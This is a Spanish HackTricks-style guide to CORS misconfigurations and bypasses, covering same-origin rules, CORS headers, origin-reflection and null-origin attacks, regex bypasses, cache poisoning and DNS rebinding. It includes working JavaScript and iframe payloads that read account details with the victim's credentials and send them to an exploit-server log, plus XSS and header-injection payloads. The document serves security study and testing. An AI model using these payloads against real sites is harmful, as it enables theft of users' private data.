25 KiB
CORS - Configuraciones incorrectas y bypass
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Consigue el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
¿Qué es CORS?
El estándar CORS (Compartición de recursos de origen cruzado) es necesario porque permite a los servidores especificar quién puede acceder a sus activos y qué métodos de solicitud HTTP están permitidos desde recursos externos.
Una política de mismo origen requiere que tanto el servidor que solicita un recurso como el servidor donde se encuentra el recurso utilicen el mismo protocolo (http://),nombre de dominio (internal-web.com) y el mismo puerto (80). Entonces, si el servidor fuerza la política de mismo origen, solo las páginas web del mismo dominio y puerto podrán acceder a los recursos.
La siguiente tabla muestra cómo se aplicará la política de mismo origen en http://normal-website.com/example/example.html
:
URL accedida | ¿Acceso permitido? |
---|---|
http://normal-website.com/example/ |
Sí: mismo esquema, dominio y puerto |
http://normal-website.com/example2/ |
Sí: mismo esquema, dominio y puerto |
https://normal-website.com/example/ |
No: esquema y puerto diferentes |
http://en.normal-website.com/example/ |
No: dominio diferente |
http://www.normal-website.com/example/ |
No: dominio diferente |
http://normal-website.com:8080/example/ |
No: puerto diferente* |
*Internet Explorer permitirá este acceso porque IE no tiene en cuenta el número de puerto al aplicar la política de mismo origen.
Encabezado Access-Control-Allow-Origin
La especificación de Access-Control-Allow-Origin
permite múltiples orígenes, o el valor null
, o el comodín *
. Sin embargo, ningún navegador admite múltiples orígenes y hay restricciones en el uso del comodín *
. (El comodín solo se puede usar solo, esto fallará Access-Control-Allow-Origin: https://*.normal-website.com
y no se puede usar con Access-Control-Allow-Credentials: true)
Este encabezado es devuelto por un servidor cuando un sitio web solicita un recurso de otro dominio, con un encabezado Origin
agregado por el navegador.
Encabezado Access-Control-Allow-Credentials
El comportamiento predeterminado de las solicitudes de recursos de origen cruzado es que las solicitudes se pasen sin credenciales como cookies y el encabezado de autorización. Sin embargo, el servidor de origen cruzado puede permitir la lectura de la respuesta cuando se pasan credenciales al establecer el encabezado CORS Access-Control-Allow-Credentials
en true
.
Si el valor se establece en true
, entonces el navegador enviará credenciales (cookies, encabezados de autorización o certificados de cliente TLS).
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
Solicitud de pre-vuelo
En ciertas circunstancias, cuando una solicitud de origen cruzado:
- incluye un método HTTP no estándar (HEAD, GET, POST)
- incluye nuevas cabeceras
- incluye un valor especial de cabecera Content-Type
{% hint style="info" %} Comprueba en este enlace las condiciones de una solicitud para evitar el envío de una solicitud de pre-vuelo {% endhint %}
la solicitud de origen cruzado es precedida por una solicitud utilizando el método OPTIONS
, y el protocolo CORS requiere una verificación inicial de qué métodos y cabeceras están permitidos antes de permitir la solicitud de origen cruzado. Esto se llama verificación de pre-vuelo. El servidor devuelve una lista de métodos permitidos además del origen de confianza y el navegador verifica si el método solicitado por el sitio web solicitante está permitido.
{% hint style="danger" %} Tenga en cuenta que incluso si no se envía una solicitud de pre-vuelo porque se respetan las condiciones de la "solicitud regular", la respuesta debe tener las cabeceras de autorización o el navegador no podrá leer la respuesta de la solicitud. {% endhint %}
Por ejemplo, esta es una solicitud de pre-vuelo que busca usar el método PUT
junto con una cabecera de solicitud personalizada llamada Special-Request-Header
:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
El servidor podría devolver una respuesta como la siguiente:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
Encabezados permitidosAccess-Control-Expose-Headers
Encabezados expuestosAccess-Control-Max-Age
Define un tiempo máximo para almacenar en caché la respuesta previa para su reutilizaciónAccess-Control-Request-Headers
El encabezado que la solicitud de origen cruzado desea enviarAccess-Control-Request-Method
El método que la solicitud de origen cruzado desea utilizarOrigin
Origen de la solicitud de origen cruzado (establecido automáticamente por el navegador)
Tenga en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud GET/POST no se envía una solicitud previa (la solicitud se envía directamente), pero si desea acceder a los encabezados/cuerpo de la respuesta, debe contener un encabezado Access-Control-Allow-Origin que lo permita.
Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).
Solicitud previa de red local
Cuando se envía una solicitud a una dirección IP de red local, se envían 2 encabezados CORS adicionales:
- El encabezado de solicitud del cliente
Access-Control-Request-Local-Network
indica que la solicitud es una solicitud de red local - El encabezado de respuesta del servidor
Access-Control-Allow-Local-Network
indica que un recurso se puede compartir de manera segura con redes externas
Una respuesta válida que permita la solicitud de red local también debe tener en la respuesta el encabezado Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} Tenga en cuenta que la dirección IP de Linux 0.0.0.0 funciona para burlar estos requisitos para acceder a localhost, ya que esa dirección IP no se considera "local".
También es posible burlar los requisitos de la red local si se utiliza la dirección IP pública de un punto final local (como la dirección IP pública del enrutador). Debido a que en varias ocasiones, incluso si se accede a la dirección IP pública, si es desde la red local, se concederá el acceso.
{% endhint %}
Configuraciones incorrectas explotables
Tenga en cuenta que la mayoría de los ataques reales requieren que Access-Control-Allow-Credentials
se establezca en true
porque esto permitirá al navegador enviar las credenciales y leer la respuesta. Sin credenciales, muchos ataques se vuelven irrelevantes; significa que no se pueden utilizar las cookies del usuario, por lo que a menudo no hay nada que ganar haciendo que su navegador emita la solicitud en lugar de emitirla usted mismo.
Una excepción notable es cuando la ubicación de red de la víctima funciona como una especie de autenticación. Puede utilizar el navegador de la víctima como proxy para burlar la autenticación basada en IP y acceder a aplicaciones de intranet. En términos de impacto, esto es similar al reenvío de DNS, pero mucho menos complicado de explotar.
Reflejo de Origin
en Access-Control-Allow-Origin
En el mundo real, esto no puede suceder ya que estos 2 valores de los encabezados están prohibidos juntos.
También es cierto que muchos desarrolladores quieren permitir varias URL en CORS, pero los comodines de subdominio o las listas de URL no están permitidos. Entonces, varios desarrolladores generan el encabezado **Access-Control-Allow-Origin
** dinámicamente, y en más de una ocasión simplemente copian el valor del encabezado Origin.
En ese caso, la misma vulnerabilidad podría ser explotada.
En otros casos, el desarrollador podría comprobar que el dominio (victimdomain.com) aparece en el encabezado Origin, entonces, un atacante puede utilizar un dominio llamado attackervictimdomain.com
para robar la información confidencial.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
El Origen null
null
es un valor especial para el encabezado Origin. La especificación menciona que se activa por redireccionamientos y archivos HTML locales. Algunas aplicaciones pueden incluir en su lista blanca el origen null
para admitir el desarrollo local de la aplicación.
Esto es interesante porque varias aplicaciones permitirán este valor dentro de CORS y cualquier sitio web puede obtener fácilmente el origen nulo utilizando un iframe con sandbox:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Bypasses de Regexp
Si encontraste que el dominio victim.com está en la lista blanca, debes verificar si victim.com.attacker.com también está en la lista blanca, o en caso de que puedas tomar el control de algún subdominio, verifica si somesubdomain.victim.com está en la lista blanca.
Bypasses de Regexp Avanzados
La mayoría de las expresiones regulares utilizadas para identificar el dominio dentro de la cadena se centrarán en caracteres alfanuméricos ASCII y .-
. Entonces, algo como victimdomain.com{.attacker.com
dentro del encabezado de origen será interpretado por la expresión regular como si el dominio fuera victimdomain.com
, pero el navegador (en este caso Safari admite este carácter en el dominio) accederá al dominio attacker.com
.
El carácter _
(en subdominios) no solo es compatible con Safari, sino también con Chrome y Firefox.
Entonces, utilizando uno de esos subdominios, podrías evitar algunas expresiones regulares "comunes" para encontrar el dominio principal de una URL.
Para obtener más información y configuraciones de este bypass, consulte: https://www.corben.io/advanced-cors-techniques/ y https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
Desde XSS dentro de un subdominio
Un mecanismo defensivo que los desarrolladores utilizan contra la explotación de CORS es la lista blanca de dominios que solicitan acceso a la información con frecuencia. Sin embargo, esto no es completamente seguro, porque si incluso uno de los subdominios del dominio en la lista blanca es vulnerable a otros exploits como XSS, puede habilitar la explotación de CORS.
Consideremos un ejemplo, el siguiente código muestra la configuración que permite que los subdominios de requester.com accedan a los recursos de provider.com.
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}
Suponiendo que un usuario tiene acceso a sub.requester.com pero no a requester.com, y suponiendo que sub.requester.com
es vulnerable a XSS. El usuario puede explotar provider.com
utilizando el método de ataque de scripting entre sitios.
Envenenamiento de caché del lado del servidor
Si las estrellas se alinean, es posible que podamos usar el envenenamiento de caché del lado del servidor a través de la inyección de encabezado HTTP para crear una vulnerabilidad XSS almacenada.
Si una aplicación refleja el encabezado de origen sin siquiera verificarlo para detectar caracteres ilegales como ,
efectivamente tenemos una vulnerabilidad de inyección de encabezado HTTP contra los usuarios de IE/Edge, ya que Internet Explorer y Edge ven \r
(0x0d) como un terminador de encabezado HTTP válido: GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer ve la respuesta como:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
Esto no es directamente explotable porque no hay forma de que un atacante haga que el navegador web de alguien envíe un encabezado mal formado de esta manera, pero puedo crear manualmente esta solicitud en Burp Suite y una caché del lado del servidor puede guardar la respuesta y servirla a otras personas. La carga útil que he utilizado cambiará el conjunto de caracteres de la página a UTF-7, que es notoriamente útil para crear vulnerabilidades XSS.
Envenenamiento de caché del lado del cliente
Es posible que ocasionalmente se encuentre con una página con XSS reflejado en un encabezado HTTP personalizado. Digamos que una página web refleja el contenido de un encabezado personalizado sin codificarlo:
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\
Con CORS, podemos enviar cualquier valor en el encabezado. Por sí solo, eso es inútil ya que la respuesta que contiene nuestro JavaScript inyectado no se renderizará. Sin embargo, si no se ha especificado "Vary: Origin", la respuesta puede almacenarse en la caché del navegador y mostrarse directamente cuando el navegador navega a la URL asociada. He creado un fiddle para intentar este ataque en una URL de su elección. Dado que este ataque utiliza el almacenamiento en caché del lado del cliente, es bastante confiable.
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
Bypass
XSSI (Inclusión de Script entre Sitios) / JSONP
XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando se incluye un recurso usando la etiqueta script
, la política de mismo origen (SOP) no se aplica, porque los scripts deben poder ser incluidos entre dominios. Un atacante puede leer todo lo que se incluyó usando la etiqueta script
.
Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP, cuando se utiliza información de autoridad ambiental como las cookies para la autenticación. Las cookies se incluyen al solicitar un recurso desde un host diferente. Plugin de BurpSuite: https://github.com/kapytein/jsonp
Lea más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.
Intente agregar un parámetro de callback en la solicitud. Tal vez la página fue preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos de vuelta con Content-Type: application/javascript
, lo que evitará la política CORS.
Bypass fácil (¿inútil?)
Puede pedir a una aplicación web que haga una solicitud por usted y envíe la respuesta de vuelta. Esto evitará el Access-Control-Allow-Origin
, pero tenga en cuenta que las credenciales del último objetivo no se enviarán ya que estará contactando un dominio diferente (el que hará la solicitud por usted).
CORS-escape proporciona un proxy que pasa nuestra solicitud junto con sus encabezados, y también finge el encabezado Origin (Origen = dominio solicitado). Por lo tanto, se evita la política CORS.
El código fuente está en Github, por lo que puede alojar el suyo propio.
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
El proxy es como "pasar" tu solicitud, exactamente como la enviaste. Podríamos resolver esto de una manera alternativa que aún involucra que alguien más haga la solicitud por ti, pero esta vez, en lugar de pasar tu solicitud, el servidor hace su propia solicitud, pero con los parámetros que especificaste.
Bypass de Iframe + Popup
Puedes burlar las comprobaciones CORS como e.origin === window.origin
creando un iframe y desde él abriendo una nueva ventana. Más información en la siguiente página:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
Rebinding DNS a través de TTL
Básicamente haces que la víctima acceda a tu página, luego cambias el DNS de tu dominio (la IP) y lo haces apuntar a la página web de tu víctima. Haces que tu víctima ejecute (JS) algo cuando el TTL se acabe para que se haga una nueva solicitud DNS y luego puedas recopilar la información (como siempre mantendrás al usuario en tu dominio, no enviará ninguna cookie al servidor de la víctima, por lo que esta opción abusa de los privilegios especiales de la IP de la víctima).
Incluso si estableces el TTL muy bajo (0 o 1), los navegadores tienen una caché que evitará que abuses de esto durante varios segundos/minutos.
Por lo tanto, esta técnica es útil para burlar comprobaciones explícitas (la víctima está realizando explícitamente una solicitud DNS para comprobar la IP del dominio y cuando se llama al bot, él hará la suya).
O cuando puedes tener un usuario/bot en la misma página durante mucho tiempo (para que puedas esperar hasta que caduque la caché).
Si necesitas algo rápido para abusar de esto, puedes usar un servicio como https://lock.cmpxchg8b.com/rebinder.html.
Si quieres ejecutar tu propio servidor de reenvío de DNS, puedes usar algo como DNSrebinder, luego exponer tu puerto local 53/udp, crear un registro A que apunte a él (ns.example.com) y crear un registro NS que apunte al subdominio A creado anteriormente (ns.example.com).
Entonces, cualquier subdominio de ese subdominio (ns.example.com) será resuelto por tu host.
También puedes revisar el servidor que se ejecuta públicamente en http://rebind.it/singularity.html
Rebinding DNS a través de Cache
Como se explicó en la sección anterior, los navegadores tienen las IPs de los dominios en caché durante más tiempo que el especificado en el TTL. Sin embargo, hay otra forma de burlar esta defensa.
Puedes crear 2 registros A (o 1 con 2 IPs, dependiendo del proveedor) para el mismo subdominio en el proveedor DNS y cuando un navegador los comprueba, obtendrá ambos.
Ahora, si el navegador decide usar la dirección IP del atacante primero, el atacante podrá servir la carga útil que realizará solicitudes HTTP al mismo dominio. Sin embargo, ahora que el atacante conoce la IP de la víctima, dejará de responder al navegador de la víctima.
Cuando el navegador encuentre que el dominio no está respondiendo a él, usará la segunda IP dada, por lo que accederá a un lugar diferente burlando SOP. El atacante puede abusar de eso para obtener la información y exfiltrarla.
{% hint style="warning" %}
Ten en cuenta que para acceder a localhost debes intentar reasignar 127.0.0.1 en Windows y 0.0.0.0 en Linux.
Proveedores como Godaddy o Cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS Route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"
Para obtener más información, puedes revisar https://unit42.paloaltonetworks.com/dns-rebinding/
Otros Bypasses Comunes
- Si no se permiten IP internas, podrían olvidar prohibir 0.0.0.0 (funciona en Linux y Mac)
- Si no se permiten IP internas como respuestas DNS, puedes responder CNAMEs a servicios internos como www.corporate.internal.
Armas de Rebinding DNS
Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo usar la siguiente herramienta en la charla Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.
Singularity of Origin
es una herramienta para realizar ataques de DNS rebinding. Incluye los componentes necesarios para volver a asignar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas de ataque para explotar el software vulnerable en la máquina objetivo.
Protección Real contra Rebinding DNS
- Usa TLS en servicios internos
- Solicita autenticación para acceder a los datos
- Valida el encabezado Host
- [https://wicg.github.io/private-network-access